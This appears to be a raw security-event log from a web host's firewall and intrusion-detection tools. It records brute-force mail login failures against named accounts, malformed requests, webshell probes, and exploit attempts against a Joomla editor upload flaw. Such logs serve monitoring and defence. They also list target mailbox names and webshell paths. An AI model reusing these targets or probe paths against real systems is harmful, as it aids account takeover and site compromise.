rule: 13001
name: Exim Auth failed
abuser: 65.73.230.102
country_id: 6252001
description:
2026-07-17 16:53:14 dovecot_login authenticator failed for H=65-73-230-102.3457ff10b7f3305facc44dbac08ed40f.ip.frontiernet.net ([61.169.54.150]) [65.73.230.102]:35574: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.158.62.190
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/14557784 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.249.198.185
country_id: 1694008
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/14947897 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 132.251.65.54
country_id: 3932488
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/181764574 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.125.240.37
country_id: 1733045
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/1a858061 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 78.180.49.242
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/1f701667 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.110.74.235
country_id: 2658434
description:
2026-07-17 16:57:12 dovecot_login authenticator failed for H=([124.13.235.29]) [185.110.74.235]:40845: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-17 16:57:22 dovecot_login authenticator failed for H=([183.171.41.105]) [103.168.241.32]:54800: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.44.23
country_id: 2661886
description:
2026-07-17 16:57:34 dovecot_login authenticator failed for H=78-66-44-23-no2550.tbcn.telia.com (78-66-44-246-no2550.tbcn.telia.com) [78.66.44.23]:38190: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.250
country_id: 1269750
description:
2026-07-17 16:57:46 dovecot_login authenticator failed for H=([180.94.76.126]) [122.187.230.250]:52147: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 130.131.241.50
country_id: 6252001
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/uploads/leaf.php||SC:/home/kallanigroup/public_html/uploads||


plugin: modsec
rule: 77469916
abuser: 206.72.199.210
country_id: 6252001
domain: stcinemas.co
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:ctf.xml.php||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 70.24.211.72
country_id: 6251999
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/262098020 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 93.157.191.202
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/293660102 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.60.128.241
country_id: 1269750
description:
2026-07-17 16:59:48 dovecot_login authenticator failed for H=([142.54.235.12]) [182.60.128.241]:56808: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.217.64
country_id: 99237
description:
2026-07-17 17:00:19 dovecot_login authenticator failed for H=(198-74-54-82.ip.linodeusercontent.com) [65.20.217.64]:43449: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 180.195.78.233
country_id: 1694008
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/2b1181554 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.181.62.61
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/373232047 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 78.166.64.60
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/381791503 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 136.158.60.59
country_id: 1694008
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/39400969 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.189.214.220
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/40312618 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.132.64.89
country_id: 2921044
description:
2026-07-17 17:05:43 dovecot_login authenticator failed for H=([177.19.165.90]) [212.132.64.89]:43776: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.118.126
country_id: 1269750
description:
2026-07-17 17:05:58 dovecot_login authenticator failed for H=(42-200-60-186.static.imsbiz.com) [122.184.118.126]:46166: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.8.98.71
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/403795808 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 156.230.209.178
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://nikiautotransport.com/north-carolina-to-ohio-car-shipping/\">auto shipping quotes</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.205.108.175
country_id: 2589581
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/443522895 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.186.125.219
country_id: 1168579
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/433476969 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 88.227.245.117
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/453180208 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.188.161.13
country_id: 3923057
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/463027639 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.76.187.54
country_id: 2542007
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/492804104 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.244.112.147
country_id: 3996063
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/4a2287469 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.190.87.40
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/4b2844204 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.220.149.121
country_id: 1835841
description:
2026-07-17 17:11:43 dovecot_login authenticator failed for H=([36.67.103.169]) [118.220.149.121]:59496: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.190.89.138
country_id: 6252001
description:
2026-07-17 17:12:13 dovecot_login authenticator failed for H=([124.83.9.141]) [50.190.89.138]:49732: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.36.108.165
country_id: 286963
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/523003331 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.247.116.191
country_id: 3865483
description:
2026-07-17 17:13:42 dovecot_login authenticator failed for H=(108.187.89.218.broad.ls.sc.dynamic.163data.com.cn) [190.247.116.191]:50052: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.79.26.77
country_id: 1562822
description:
2026-07-17 17:14:07 dovecot_login authenticator failed for H=([192.111.134.12]) [27.79.26.77]:50824: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.236.40.32
country_id: 3865483
description:
2026-07-17 17:13:56 dovecot_login authenticator failed for H=([151.83.113.3]) [45.236.40.32]:52962: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.132.129
country_id: 1562822
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/542987974 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 175.138.132.216
country_id: 1733045
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/551444304 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 122.173.30.26
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/543053618 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.185.151.173
country_id: 953987
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/5b236860 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.30.104.218
country_id: 2077456
description:
2026-07-17 17:18:23 dovecot_login authenticator failed for H=114-30-104-218.tpgi.com.au ([218.13.214.18]) [114.30.104.218]:41228: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.185.142
country_id: 1269750
description:
2026-07-17 17:18:32 dovecot_login authenticator failed for H=([144.22.210.132]) [182.95.185.142]:42460: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.208.55.106
country_id: 2661886
description:
2026-07-17 17:18:46 dovecot_login authenticator failed for H=31-208-55-106.cust.bredband2.com ([111.206.233.34]) [31.208.55.106]:46298: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.73.24
country_id: 1668284
description:
2026-07-17 17:18:57 dovecot_login authenticator failed for H=221-120-73-24.emome-ip.hinet.net (syn-024-180-043-126.res.spectrum.com) [221.120.73.24]:45500: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.73.113.1
country_id: 102358
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/66283049 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 51.36.232.40
country_id: 102358
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/6697881 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.175.180.147
country_id: 6252001
description:
2026-07-17 17:21:39 dovecot_login authenticator failed for H=wsip-70-175-180-147.pn.at.cox.net (104-2-88-64.lightspeed.miamfl.sbcglobal.net) [70.175.180.147]:44823: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.8.45.104
country_id: 1835841
description:
2026-07-17 17:21:50 dovecot_login authenticator failed for H=([217.197.246.84]) [59.8.45.104]:53596: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.135.172
country_id: 1819730
description:
2026-07-17 17:22:07 dovecot_login authenticator failed for H=(static.ill.61.2.246.139.bsnl.co.in) [121.202.135.172]:59501: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.103.88.145
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/701465333 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 20.226.26.5
country_id: 3469034
domain: futuracare.com.au
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/admin.php||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.226.26.5
country_id: 3469034
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/futuracarecom/public_html/wp-content||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 84.54.70.66
country_id: 1512440
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/70999054 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.74.211
country_id: 1269750
description:
2026-07-17 17:23:24 dovecot_login authenticator failed for H=([192.111.131.4]) [117.211.74.211]:57898: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 124.123.154.26
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/713677447 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.142.137.72
country_id: 272103
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/731929820 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.165.29.196
country_id: 1733045
description:
2026-07-17 17:25:02 dovecot_login authenticator failed for H=([110.77.150.25]) [202.165.29.196]:45757: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.227.211.82
country_id: 1269750
description:
2026-07-17 17:25:07 dovecot_login authenticator failed for H=([70.166.167.59]) [110.227.211.82]:47302: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.105.141.172
country_id: 3923057
description:
2026-07-17 17:25:34 dovecot_login authenticator failed for H=static-200-105-141-172.acelerate.net ([14.98.28.43]) [200.105.141.172]:50332: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.64.134.187
country_id: 2635167
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/771402043 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.26.125
country_id: 1835841
description:
2026-07-17 17:25:40 dovecot_login authenticator failed for H=([174.75.211.198]) [112.161.26.125]:55900: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.228.86
country_id: 1269750
description:
2026-07-17 17:27:28 dovecot_login authenticator failed for H=([68.71.240.212]) [125.23.228.86]:38758: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.194.29
country_id: 1269750
description:
2026-07-17 17:27:52 dovecot_login authenticator failed for H=(distribution05-10gb.1560.la3.switches.zerolag.com) [49.206.194.29]:58930: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.251.211.223
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/82648275 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 112.207.208.160
country_id: 1694008
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/932306251 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.190.177.130
country_id: 3996063
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/941411916 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 95.173.223.230
country_id: 3932488
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:index.php||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.231.201.143
country_id: 3996063
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/pure-accoustics-speakers?Itemid=101&catid=18 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 220.152.112.23
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/633186795 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.24.200.219
country_id: 2661886
description:
2026-07-17 17:32:10 dovecot_login authenticator failed for H=h-85-24-200-219.a158.priv.bahnhof.se ([185.112.148.66]) [85.24.200.219]:57044: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.192.247.84
country_id: 1269750
description:
2026-07-17 17:33:45 dovecot_login authenticator failed for H=([211.211.127.19]) [203.192.247.84]:56310: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 78.190.42.58
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/6a3061923 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.198.42
country_id: 1269750
description:
2026-07-17 17:34:20 dovecot_login authenticator failed for H=(36.131.103.155.in-addr.arpa) [152.52.198.42]:59474: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.190.123.198
country_id: 337996
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/703505088 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 59.153.202.60
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/713546576 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 130.131.241.50
country_id: 6252001
domain: gowww.ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/uploads/leaf.php||SC:/var/www/html/uploads||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.169.38.18
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/742565685 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 111.92.151.108
country_id: 1168579
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/821766724 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.193.207.111
country_id: 1831722
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/96976180 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.114.149.192
country_id: 587116
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/911706583 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://zzz-1.com/\">https://zzz-1.com/</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 136.158.101.201
country_id: 1694008
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/972469041 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 159.223.111.27
country_id: 6252001
description:
2026-07-17 17:47:42 dovecot_login authenticator failed for H=([203.221.144.203]) [159.223.111.27]:35436: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.149.26
country_id: 99237
description:
2026-07-17 17:48:00 dovecot_login authenticator failed for H=([162.215.195.65]) [65.20.149.26]:48948: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.113.243.141
country_id: 2589581
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/diy-products HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.103.131.36
country_id: 3865483
description:
2026-07-17 17:50:22 dovecot_login authenticator failed for H=([222.116.25.156]) [155.103.131.36]:35992: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.127.42
country_id: 1269750
description:
2026-07-17 17:50:56 dovecot_login authenticator failed for H=([213.234.5.66]) [182.95.127.42]:51722: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 78.151.154.113
country_id: 2635167
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c02194536 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.116.73
country_id: 99237
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/bring-cinema-sound-and-smart-technology-into-your-space-with-metro-digital-media HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.21.243.7
country_id: 1668284
description:
2026-07-17 17:52:37 dovecot_login authenticator failed for H=211-21-243-7.hinet-ip.hinet.net (94-183-28-98.shatel.ir) [211.21.243.7]:35484: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.194.24.143
country_id: 1880251
domain: metrodigitals.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/uploads/banner/11782077340.php||SC:/home/metrodigitals/public_html/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.229.1.186
country_id: 6252001
description:
2026-07-17 17:52:51 dovecot_login authenticator failed for H=c-71-229-1-186.hsd1.al.comcast.net ([183.11.220.66]) [71.229.1.186]:57750: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.106
country_id: 1269750
description:
2026-07-17 17:54:07 dovecot_login authenticator failed for H=([49.124.159.179]) [182.95.228.106]:50902: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.212.29
country_id: 2661886
description:
2026-07-17 17:54:29 dovecot_login authenticator failed for H=90-230-212-29-no2550.tbcn.telia.com (213-65-190-48-no2550.tbcn.telia.com) [90.230.212.29]:35962: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.194.24.143
country_id: 1880251
domain: metrodigitals.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/wp-admin/images/about.php||SC:/home/metrodigitals/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.157.252.162
